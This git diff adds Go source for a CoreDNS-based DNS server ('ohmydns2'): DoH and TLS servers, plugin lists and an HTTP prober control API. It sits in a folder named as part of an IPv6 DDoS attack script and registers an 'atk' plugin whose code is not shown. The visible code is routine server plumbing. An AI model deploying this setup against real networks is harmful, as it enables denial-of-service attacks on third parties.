+//// ListenPacket implements caddy.UDPServer interface.
+//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil }
+//
+//// OnStartupComplete lists the sites served by this server
+//// and any relevant information, assuming Quiet is false.
+//func (s *ServergRPC) OnStartupComplete() {
+// if Quiet {
+// return
+// }
+//
+// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones)
+// if out != "" {
+// fmt.Print(out)
+// }
+//}
+//
+//// Stop stops the server. It blocks until the server is
+//// totally stopped.
+//func (s *ServergRPC) Stop() (err error) {
+// s.m.Lock()
+// defer s.m.Unlock()
+// if s.grpcServer != nil {
+// s.grpcServer.GracefulStop()
+// }
+// return
+//}
+//
+//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like
+//// any normal server. We use a custom responseWriter to pick up the bytes we need to write
+//// back to the client as a protobuf.
+//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) {
+// msg := new(dns.Msg)
+// err := msg.Unpack(in.Msg)
+// if err != nil {
+// return nil, err
+// }
+//
+// p, ok := peer.FromContext(ctx)
+// if !ok {
+// return nil, errors.New("no peer in gRPC context")
+// }
+//
+// a, ok := p.Addr.(*net.TCPAddr)
+// if !ok {
+// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr)
+// }
+//
+// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg}
+//
+// dnsCtx := context.WithValue(ctx, Key{}, s.Server)
+// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0)
+// s.ServeDNS(dnsCtx, w, msg)
+//
+// packed, err := w.Msg.Pack()
+// if err != nil {
+// return nil, err
+// }
+//
+// return &pb.DnsPacket{Msg: packed}, nil
+//}
+//
+//// Shutdown stops the server (non gracefully).
+//func (s *ServergRPC) Shutdown() error {
+// if s.grpcServer != nil {
+// s.grpcServer.Stop()
+// }
+// return nil
+//}
+//
+//type gRPCresponse struct {
+// localAddr net.Addr
+// remoteAddr net.Addr
+// Msg *dns.Msg
+//}
+//
+//// Write is the hack that makes this work. It does not actually write the message
+//// but returns the bytes we need to write in r. We can then pick this up in Query
+//// and write a proper protobuf back to the client.
+//func (r *gRPCresponse) Write(b []byte) (int, error) {
+// r.Msg = new(dns.Msg)
+// return len(b), r.Msg.Unpack(b)
+//}
+//
+//// These methods implement the dns.ResponseWriter interface from Go DNS.
+//func (r *gRPCresponse) Close() error { return nil }
+//func (r *gRPCresponse) TsigStatus() error { return nil }
+//func (r *gRPCresponse) TsigTimersOnly(b bool) {}
+//func (r *gRPCresponse) Hijack() {}
+//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr }
+//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr }
+//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_https.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_https.go
new file mode 100644
index 0000000..ca440b9
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_https.go
@@ -0,0 +1,209 @@
+package dnsserver
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ stdlog "log"
+ "net"
+ "net/http"
+ "ohmydns2/plugin/pkg/dnsutil"
+ "ohmydns2/plugin/pkg/doh"
+ olog "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/response"
+ "ohmydns2/plugin/pkg/reuseport"
+ "ohmydns2/plugin/pkg/transport"
+ "ohmydns2/plugin/prometheus/vars"
+ "strconv"
+ "time"
+
+ "github.com/coredns/caddy"
+)
+
+// ServerHTTPS represents an instance of a DNS-over-HTTPS server.
+type ServerHTTPS struct {
+ *Server
+ httpsServer *http.Server
+ listenAddr net.Addr
+ tlsConfig *tls.Config
+ validRequest func(*http.Request) bool
+}
+
+// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server
+type loggerAdapter struct {
+}
+
+func (l *loggerAdapter) Write(p []byte) (n int, err error) {
+ olog.Debug(string(p))
+ return len(p), nil
+}
+
+// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
+type HTTPRequestKey struct{}
+
+// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it.
+func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) {
+ s, err := NewServer(addr, group)
+ if err != nil {
+ return nil, err
+ }
+ // The *tls* plugin must make sure that multiple conflicting
+ // TLS configuration returns an error: it can only be specified once.
+ var tlsConfig *tls.Config
+ for _, z := range s.zones {
+ for _, conf := range z {
+ // Should we error if some configs *don't* have TLS?
+ tlsConfig = conf.TLSConfig
+ }
+ }
+
+ // http/2 is recommended when using DoH. We need to specify it in next protos
+ // or the upgrade won't happen.
+ if tlsConfig != nil {
+ tlsConfig.NextProtos = []string{"h2", "http/1.1"}
+ }
+
+ // Use a custom request validation func or use the standard DoH path check.
+ var validator func(*http.Request) bool
+ for _, z := range s.zones {
+ for _, conf := range z {
+ validator = conf.HTTPRequestValidateFunc
+ }
+ }
+ if validator == nil {
+ validator = func(r *http.Request) bool { return r.URL.Path == doh.Path }
+ }
+
+ srv := &http.Server{
+ ReadTimeout: s.readTimeout,
+ WriteTimeout: s.writeTimeout,
+ IdleTimeout: s.idleTimeout,
+ ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
+ }
+ sh := &ServerHTTPS{
+ Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator,
+ }
+ sh.httpsServer.Handler = sh
+
+ return sh, nil
+}
+
+// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+var _ caddy.GracefulServer = &Server{}
+
+// Serve implements caddy.TCPServer interface.
+func (s *ServerHTTPS) Serve(l net.Listener) error {
+ s.m.Lock()
+ s.listenAddr = l.Addr()
+ s.m.Unlock()
+
+ if s.tlsConfig != nil {
+ l = tls.NewListener(l, s.tlsConfig)
+ }
+ return s.httpsServer.Serve(l)
+}
+
+// ServePacket implements caddy.UDPServer interface.
+func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil }
+
+// Listen implements caddy.TCPServer interface.
+func (s *ServerHTTPS) Listen() (net.Listener, error) {
+ l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+ return l, nil
+}
+
+// ListenPacket implements caddy.UDPServer interface.
+func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil }
+
+// OnStartupComplete lists the sites served by this server
+// and any relevant information, assuming Quiet is false.
+func (s *ServerHTTPS) OnStartupComplete() {
+ if Quiet {
+ return
+ }
+
+ out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones)
+ if out != "" {
+ fmt.Print(out)
+ }
+}
+
+// Stop stops the server. It blocks until the server is totally stopped.
+func (s *ServerHTTPS) Stop() error {
+ s.m.Lock()
+ defer s.m.Unlock()
+ if s.httpsServer != nil {
+ s.httpsServer.Shutdown(context.Background())
+ }
+ return nil
+}
+
+// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
+// chain, converts it back and write it to the client.
+func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+ if !s.validRequest(r) {
+ http.Error(w, "", http.StatusNotFound)
+ s.countResponse(http.StatusNotFound)
+ return
+ }
+
+ msg, err := doh.RequestToMsg(r)
+ if err != nil {
+ http.Error(w, err.Error(), http.StatusBadRequest)
+ s.countResponse(http.StatusBadRequest)
+ return
+ }
+
+ // Create a DoHWriter with the correct addresses in it.
+ h, p, _ := net.SplitHostPort(r.RemoteAddr)
+ port, _ := strconv.Atoi(p)
+ dw := &DoHWriter{
+ laddr: s.listenAddr,
+ raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port},
+ request: r,
+ }
+
+ // We just call the normal chain handler - all error handling is done there.
+ // We should expect a packet to be returned that we can send to the client.
+ ctx := context.WithValue(context.Background(), Key{}, s.Server)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
+ s.ServeDNS(ctx, dw, msg)
+
+ // See section 4.2.1 of RFC 8484.
+ // We are using code 500 to indicate an unexpected situation when the chain
+ // handler has not provided any response message.
+ if dw.Msg == nil {
+ http.Error(w, "No response", http.StatusInternalServerError)
+ s.countResponse(http.StatusInternalServerError)
+ return
+ }
+
+ buf, _ := dw.Msg.Pack()
+
+ mt, _ := response.Typify(dw.Msg, time.Now().UTC())
+ age := dnsutil.MinimalTTL(dw.Msg, mt)
+
+ w.Header().Set("Content-Type", doh.MimeType)
+ w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds()))
+ w.Header().Set("Content-Length", strconv.Itoa(len(buf)))
+ w.WriteHeader(http.StatusOK)
+ s.countResponse(http.StatusOK)
+
+ w.Write(buf)
+}
+
+func (s *ServerHTTPS) countResponse(status int) {
+ vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc()
+}
+
+// Shutdown stops the server (non gracefully).
+func (s *ServerHTTPS) Shutdown() error {
+ if s.httpsServer != nil {
+ s.httpsServer.Shutdown(context.Background())
+ }
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go
new file mode 100644
index 0000000..75a8dbe
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_tls.go
@@ -0,0 +1,102 @@
+package dnsserver
+
+import (
+ "context"
+ "crypto/tls"
+ "fmt"
+ "net"
+ "ohmydns2/plugin/pkg/reuseport"
+ "ohmydns2/plugin/pkg/transport"
+ "time"
+
+ "github.com/coredns/caddy"
+ "github.com/miekg/dns"
+)
+
+// ServerTLS represents an instance of a TLS-over-DNS-server.
+type ServerTLS struct {
+ *Server
+ tlsConfig *tls.Config
+}
+
+// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it.
+func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) {
+ s, err := NewServer(addr, group)
+ if err != nil {
+ return nil, err
+ }
+ // The *tls* plugin must make sure that multiple conflicting
+ // TLS configuration returns an error: it can only be specified once.
+ var tlsConfig *tls.Config
+ for _, z := range s.zones {
+ for _, conf := range z {
+ // Should we error if some configs *don't* have TLS?
+ tlsConfig = conf.TLSConfig
+ }
+ }
+
+ return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil
+}
+
+// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+var _ caddy.GracefulServer = &Server{}
+
+// Serve implements caddy.TCPServer interface.
+func (s *ServerTLS) Serve(l net.Listener) error {
+ s.m.Lock()
+
+ if s.tlsConfig != nil {
+ l = tls.NewListener(l, s.tlsConfig)
+ }
+
+ // Only fill out the TCP server for this one.
+ s.server[tcp] = &dns.Server{Listener: l,
+ Net: "tcp-tls",
+ MaxTCPQueries: tlsMaxQueries,
+ ReadTimeout: s.readTimeout,
+ WriteTimeout: s.writeTimeout,
+ IdleTimeout: func() time.Duration {
+ return s.idleTimeout
+ },
+ Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
+ ctx := context.WithValue(context.Background(), Key{}, s.Server)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ s.ServeDNS(ctx, w, r)
+ })}
+
+ s.m.Unlock()
+
+ return s.server[tcp].ActivateAndServe()
+}
+
+// ServePacket implements caddy.UDPServer interface.
+func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil }
+
+// Listen implements caddy.TCPServer interface.
+func (s *ServerTLS) Listen() (net.Listener, error) {
+ l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+ return l, nil
+}
+
+// ListenPacket implements caddy.UDPServer interface.
+func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil }
+
+// OnStartupComplete lists the sites served by this server
+// and any relevant information, assuming Quiet is false.
+func (s *ServerTLS) OnStartupComplete() {
+ if Quiet {
+ return
+ }
+
+ out := startUpZones(transport.TLS+"://", s.Addr, s.zones)
+ if out != "" {
+ fmt.Print(out)
+ }
+}
+
+const (
+ tlsMaxQueries = -1
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go
new file mode 100644
index 0000000..094738a
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/view.go
@@ -0,0 +1,19 @@
+package dnsserver
+
+import (
+ "context"
+ "ohmydns2/plugin/pkg/request"
+)
+
+// Viewer - If Viewer is implemented by a plugin in a server block, its Filter()
+// is added to the server block's filter functions when starting the server. When a running server
+// serves a DNS request, it will route the request to the first Config (server block) that passes
+// all its filter functions.
+type Viewer interface {
+ // Filter returns true if the server should use the server block in which the implementing plugin resides, and the
+ // name of the view for metrics logging.
+ Filter(ctx context.Context, req *request.Request) bool
+
+ // ViewName returns the name of the view
+ ViewName() string
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/zdirectives.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/zdirectives.go
new file mode 100644
index 0000000..fd4e0a8
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/zdirectives.go
@@ -0,0 +1,21 @@
+// generated by plugin_gen.go; DO NOT EDIT
+
+package dnsserver
+
+// Directives are registered in the order they should be
+// executed.
+//
+// Ordering is VERY important. Every plugin will
+// feel the effects of all other plugin below
+// (after) them during a request, but they must not
+// care what plugin above them are doing.
+var Directives = []string{
+ "log",
+ "dnstap",
+ "debug",
+ "prometheus",
+ "forward",
+ "metadata",
+ "whoami",
+ "atk",
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go
new file mode 100644
index 0000000..0d41075
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/plug/zplugin.go
@@ -0,0 +1,17 @@
+// generated by plugin_gen.go; DO NOT EDIT
+
+package plugin
+
+import (
+ // Include all plugins.
+ _ "ohmydns2/plugin/atk"
+ _ "ohmydns2/plugin/debug"
+ _ "ohmydns2/plugin/dnstap"
+ _ "ohmydns2/plugin/forward"
+ _ "ohmydns2/plugin/log"
+ _ "ohmydns2/plugin/metadata"
+ _ "ohmydns2/plugin/prober/probe53"
+ _ "ohmydns2/plugin/prober/qname"
+ _ "ohmydns2/plugin/prometheus"
+ _ "ohmydns2/plugin/whoami"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go
new file mode 100644
index 0000000..7a0e0df
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/address.go
@@ -0,0 +1,85 @@
+package prober
+
+import (
+ "fmt"
+ "net"
+ "strings"
+)
+
+type addr struct {
+ Port string
+ Transport string // HTTP
+ Address string // used for bound addr - validation of overlapping
+}
+
+// String returns the string representation of addr.
+func (a addr) String() string {
+ s := "探测服务: " + a.Transport + "://" + ":" + a.Port
+ if a.Address != "" {
+ s += " on " + a.Address
+ }
+ return s
+}
+
+// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
+func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
+ parts := strings.Split(address, "://")
+ switch len(parts) {
+ case 1:
+ ip, port, err := net.SplitHostPort(parts[0])
+ return "", ip, port, err
+ case 2:
+ ip, port, err := net.SplitHostPort(parts[1])
+ return parts[0], ip, port, err
+ default:
+ return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
+ }
+}
+
+type zoneOverlap struct {
+ registeredAddr map[addr]addr // each zoneAddr is registered once by its key
+ unboundOverlap map[addr]addr // the "no bind" equiv Addr is registered by its original key
+}
+
+func newOverlapZone() *zoneOverlap {
+ return &zoneOverlap{registeredAddr: make(map[addr]addr), unboundOverlap: make(map[addr]addr)}
+}
+
+// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
+// we consider that an unbound address is overlapping all bound addresses for same zone, same port
+func (zo *zoneOverlap) registerAndCheck(a addr) (existingZone *addr, overlappingZone *addr) {
+ existingZone, overlappingZone = zo.check(a)
+ if existingZone != nil || overlappingZone != nil {
+ return existingZone, overlappingZone
+ }
+ // there is no overlap, keep the current zoneAddr for future checks
+ zo.registeredAddr[a] = a
+ zo.unboundOverlap[a.unbound()] = a
+ return nil, nil
+}
+
+// check validates a zoneAddr for overlap without registering it
+func (zo *zoneOverlap) check(a addr) (existingAddr *addr, overlappingAddr *addr) {
+ if exist, ok := zo.registeredAddr[a]; ok {
+ // exact same zone already registered
+ return &exist, nil
+ }
+ uz := a.unbound()
+ if already, ok := zo.unboundOverlap[uz]; ok {
+ if a.Address == "" {
+ // current is not bound to an address, but there is already another zone with a bind address registered
+ return nil, &already
+ }
+ if _, ok := zo.registeredAddr[uz]; ok {
+ // current zone is bound to an address, but there is already an overlapping zone+port with no bind address
+ return nil, &uz
+ }
+ }
+ // there is no overlap
+ return nil, nil
+}
+
+// unbound returns an unbound version of the zoneAddr
+func (a addr) unbound() addr {
+ return addr{Address: "", Port: a.Port, Transport: a.Transport}
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go
new file mode 100644
index 0000000..a205d87
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/onstartup.go
@@ -0,0 +1,54 @@
+package prober
+
+import (
+ "fmt"
+ "ohmydns2/plugin/pkg/dnsutil"
+ "regexp"
+)
+
+// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
+// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
+func checkZoneSyntax(zone string) bool {
+ if zone == "." || dnsutil.IsReverse(zone) != 0 {
+ return true
+ }
+ regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
+ return regex1035PreferredSyntax
+}
+
+// startUpZones creates the text that we show when starting up:
+// grpc://example.com.:1055
+// example.com.:1053 on 127.0.0.1
+func startUpZones(protocol, addr string) string {
+ s := ""
+
+ //keys := make([]string, len(zones))
+ //i := 0
+ //
+ //for k := range zones {
+ // keys[i] = k
+ // i++
+ //}
+ //sort.Strings(keys)
+ //
+ //for _, zone := range keys {
+ //if strings.HasPrefix(protocol, "prober") {
+ // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
+ // continue
+ //}
+ // split addr into protocol, IP and Port
+ _, ip, port, err := SplitProtocolHostPort(addr)
+
+ if err != nil {
+ // this should not happen, but we need to take care of it anyway
+ s += fmt.Sprintln(protocol + ":" + addr)
+ }
+ if ip == "" {
+ s += fmt.Sprintln(protocol + ":" + port)
+ }
+ // if the server is listening on a specific address let's make it visible in the log,
+ // so one can differentiate between all active listeners
+ s += fmt.Sprintln(protocol + ":" + port + " on " + ip)
+ //}
+ return s
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/pdirectives.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/pdirectives.go
new file mode 100644
index 0000000..98b4a5b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/pdirectives.go
@@ -0,0 +1,15 @@
+// generated by plugin_gen.go; DO NOT EDIT
+
+package prober
+
+// Directives are registered in the order they should be
+// executed.
+//
+// Ordering is VERY important. Every plugin will
+// feel the effects of all other plugin below
+// (after) them during a request, but they must not
+// care what plugin above them are doing.
+var Directives = []string{
+ "qname",
+ "probe53",
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_args.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_args.go
new file mode 100644
index 0000000..e4d6dc9
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_args.go
@@ -0,0 +1,10 @@
+package prober
+
+const (
+ globalRange = "globe"
+ goroutinePoolSize = 3000
+)
+
+const (
+ rangeParam = "prange"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go
new file mode 100644
index 0000000..4d61902
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_http.go
@@ -0,0 +1,285 @@
+package prober
+
+import (
+ "context"
+ "encoding/json"
+ "fmt"
+ stdlog "log"
+ "net"
+ "net/http"
+ "ohmydns2/core/dnsserver"
+ ohttp "ohmydns2/plugin/pkg/http"
+ olog "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/prober"
+ "ohmydns2/plugin/pkg/reuseport"
+ "ohmydns2/plugin/pkg/transport"
+ "ohmydns2/plugin/prometheus/vars"
+ "strconv"
+ "sync"
+
+ "github.com/coredns/caddy"
+)
+
+type ProberWriter struct {
+ laddr net.Addr
+ raddr net.Addr
+ request http.Request
+}
+
+type ProberHTTP struct {
+ *ProbeServer
+ httpServer *http.Server
+ listenAddr net.Addr
+ validRequest func(*http.Request) bool
+ m sync.Mutex
+}
+
+type proberstate struct {
+ Code int `json:"code"`
+ Probernum int `json:"probernum"`
+ M map[int]prober.Prober `json:"proberlist"`
+ Msg string `json:"msg"`
+}
+
+type codeAndMsg struct {
+ Code int `json:"code"`
+ Msg string `json:"msg"`
+}
+
+// loggerAdapter is a simple adapter around CoreDNS logger made to implement io.Writer in order to log errors from HTTP server
+type loggerAdapter struct {
+}
+
+func (l *loggerAdapter) Write(p []byte) (n int, err error) {
+ olog.Debug(string(p))
+ return len(p), nil
+}
+
+// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
+type HTTPRequestKey struct{}
+
+// NewProberHTTP returns a new ohmydns prober(可用HTTP调用参数) and compiles all plugins in to it.
+func NewProberHTTP(addr string, conf *prober.PBConfig) (*ProberHTTP, error) {
+ s, err := NewServer(addr, conf)
+ if err != nil {
+ return nil, err
+ }
+
+ // 定义一个检查器来检查访问路径是否正确.
+ var validator func(*http.Request) bool
+ validator = conf.HTTPRequestValidateFunc
+
+ if validator == nil {
+ validator = func(r *http.Request) bool { return r.URL.Path == proberPath }
+ }
+
+ srv := &http.Server{
+ ReadTimeout: s.readTimeout,
+ WriteTimeout: s.writeTimeout,
+ IdleTimeout: s.idleTimeout,
+ ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
+ }
+
+ sh := &ProberHTTP{
+ ProbeServer: s, httpServer: srv, validRequest: validator,
+ }
+ sh.httpServer.Handler = sh
+
+ return sh, nil
+}
+
+// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+var _ caddy.GracefulServer = &dnsserver.Server{}
+
+// Serve implements caddy.TCPServer interface.
+func (p *ProberHTTP) Serve(l net.Listener) error {
+ p.m.Lock()
+ p.listenAddr = l.Addr()
+ p.m.Unlock()
+
+ return p.httpServer.Serve(l)
+}
+
+// ServePacket implements caddy.UDPServer interface.
+func (p *ProberHTTP) ServePacket(net.PacketConn) error { return nil }
+
+// Listen implements caddy.TCPServer interface.
+func (p *ProberHTTP) Listen() (net.Listener, error) {
+ l, err := reuseport.Listen("tcp", p.Addr[len(transport.PROBER+"://"):])
+ if err != nil {
+ return nil, err
+ }
+ return l, nil
+}
+
+// ListenPacket implements caddy.UDPServer interface.
+func (p *ProberHTTP) ListenPacket() (net.PacketConn, error) { return nil, nil }
+
+// OnStartupComplete lists the sites served by this server
+// and any relevant information, assuming Quiet is false.
+func (p *ProberHTTP) OnStartupComplete() {
+ if Quiet {
+ return
+ }
+
+ out := startUpZones(transport.PROBER+"://", p.Addr)
+ if out != "" {
+ fmt.Print(out)
+ }
+}
+
+// Stop stops the server. It blocks until the server is totally stopped.
+func (p *ProberHTTP) Stop() error {
+ p.m.Lock()
+ defer p.m.Unlock()
+ if p.httpServer != nil {
+ err := p.httpServer.Shutdown(context.Background())
+ if err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin
+// chain, converts it back and write it to the client.
+func (p *ProberHTTP) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+ if !p.validRequest(r) {
+ http.Error(w, "", http.StatusNotFound)
+ p.countResponse(http.StatusNotFound)
+ return
+ }
+ // 设置响应头部
+ w.Header().Set("Content-Type", proberContenttype)
+
+ // 解析请求
+ param, _ := ohttp.ParseRequest(r)
+ // 参数定义
+ // act: res代表获取当前所有Prober状态,new代表新建Prober
+ // ptype: 探针类型,v64代表IPv4-IPv6关联发现的探针,默认v64
+ // prange: 探测范围,默认全局,
+
+ // 检查参数
+ if res, rc := prober.VaildArgs(param); rc != 0 {
+ //发生错误
+ w.WriteHeader(http.StatusBadRequest)
+ p.countResponse(http.StatusBadRequest)
+ rec := &proberstate{Code: http.StatusBadRequest, Msg: res}
+ msg, _ := json.Marshal(rec)
+ _, err := w.Write(msg)
+ if err != nil {
+ return
+ }
+ return
+ }
+ // 参数没有问题,开始处理
+ if v, ok := param["act"]; ok {
+ switch v[0] {
+
+ case "new":
+ ctx := context.WithValue(context.Background(), Key{}, p.ProbeServer)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ ctx = context.WithValue(ctx, HTTPRequestKey{}, r)
+ serverr, rs := p.ServeProbe(ctx, w, r)
+ // 服务发生错误
+ if serverr != nil {
+ //发生错误
+ w.WriteHeader(http.StatusInternalServerError)
+ p.countResponse(http.StatusInternalServerError)
+ res := &codeAndMsg{Code: http.StatusInternalServerError, Msg: rs}
+ msg, _ := json.Marshal(res)
+ _, err := w.Write(msg)
+ if err != nil {
+ olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
+ return
+ }
+ return
+ }
+ //一切正常
+ w.WriteHeader(http.StatusOK)
+ p.countResponse(http.StatusOK)
+ rec := &codeAndMsg{Code: http.StatusOK, Msg: rs}
+ msg, _ := json.Marshal(rec)
+ _, err := w.Write(msg)
+ if err != nil {
+ olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
+ return
+ }
+ return
+
+ case "stop":
+ if n, pok := param["pid"]; pok {
+ id, _ := strconv.Atoi(n[0])
+ err := p.proberlist.DeleteProberById(id)
+ if err != nil {
+ return
+ }
+ // 成功删除
+ w.WriteHeader(http.StatusOK)
+ p.countResponse(http.StatusOK)
+ rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止探测器" + strconv.Itoa(id)}
+ msg, _ := json.Marshal(rec)
+ _, err = w.Write(msg)
+ if err != nil {
+ olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
+ return
+ }
+ return
+ }
+
+ // 无参数指定则停止所有探测任务
+ for pid := range p.proberlist.Pl {
+ err := p.proberlist.DeleteProberById(pid)
+ if err != nil {
+ return
+ }
+ }
+ w.WriteHeader(http.StatusOK)
+ p.countResponse(http.StatusOK)
+ rec := &codeAndMsg{Code: http.StatusOK, Msg: "已停止所有探测器"}
+ msg, _ := json.Marshal(rec)
+ _, err := w.Write(msg)
+ if err != nil {
+ olog.Errorf("prober_http/ServeHTTP: %v", err.Error())
+ return
+ }
+ return
+ default:
+ //跳转到列举探测器状态
+ break
+ }
+ }
+ // 无act参数默认列举所有探测器当前状态
+ allProber, m, err := p.proberlist.ListAllProber()
+ if err != nil {
+ return
+ }
+ rt := proberstate{
+ Code: http.StatusOK,
+ Probernum: allProber,
+ M: m,
+ }
+ w.WriteHeader(http.StatusOK)
+ p.countResponse(http.StatusOK)
+ msg, _ := json.Marshal(rt)
+ w.Write(msg)
+
+}
+
+func (p *ProberHTTP) countResponse(status int) {
+ vars.HTTPSResponsesCount.WithLabelValues(p.Addr, strconv.Itoa(status)).Inc()
+}
+
+// Shutdown stops the server (non gracefully).
+func (p *ProberHTTP) Shutdown() error {
+ if p.httpServer != nil {
+ p.httpServer.Shutdown(context.Background())
+ }
+ return nil
+}
+
+const (
+ proberContenttype = "application/json"
+ proberPath = "/prober"
+ proberurl = "localhost"
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go
new file mode 100644
index 0000000..a2716d6
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/prober/prober_serve.go
@@ -0,0 +1,405 @@
+package prober
+
+import (
+ "context"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "github.com/coredns/caddy"
+ ot "github.com/opentracing/opentracing-go"
+ "github.com/panjf2000/ants/v2"
+ "net"
+ "net/http"
+ "ohmydns2/plugin"
+ ohttp "ohmydns2/plugin/pkg/http"
+ olog "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/prober"
+ "ohmydns2/plugin/pkg/request"
+ "ohmydns2/plugin/pkg/reuseport"
+ "ohmydns2/plugin/pkg/trace"
+ "ohmydns2/plugin/pkg/transport"
+ "ohmydns2/plugin/prometheus/vars"
+ "runtime"
+ "runtime/debug"
+ "sync"
+ "time"
+)
+
+// ProbeServer represents an instance of a server, which serves
+// DNS requests at a particular address (host and port). A
+// server is capable of serving numerous zones on
+// the same address and the listener may be stopped for
+// graceful termination (POSIX only).
+type ProbeServer struct {
+ Addr string // Address we listen on
+
+ server *http.Server // http服务
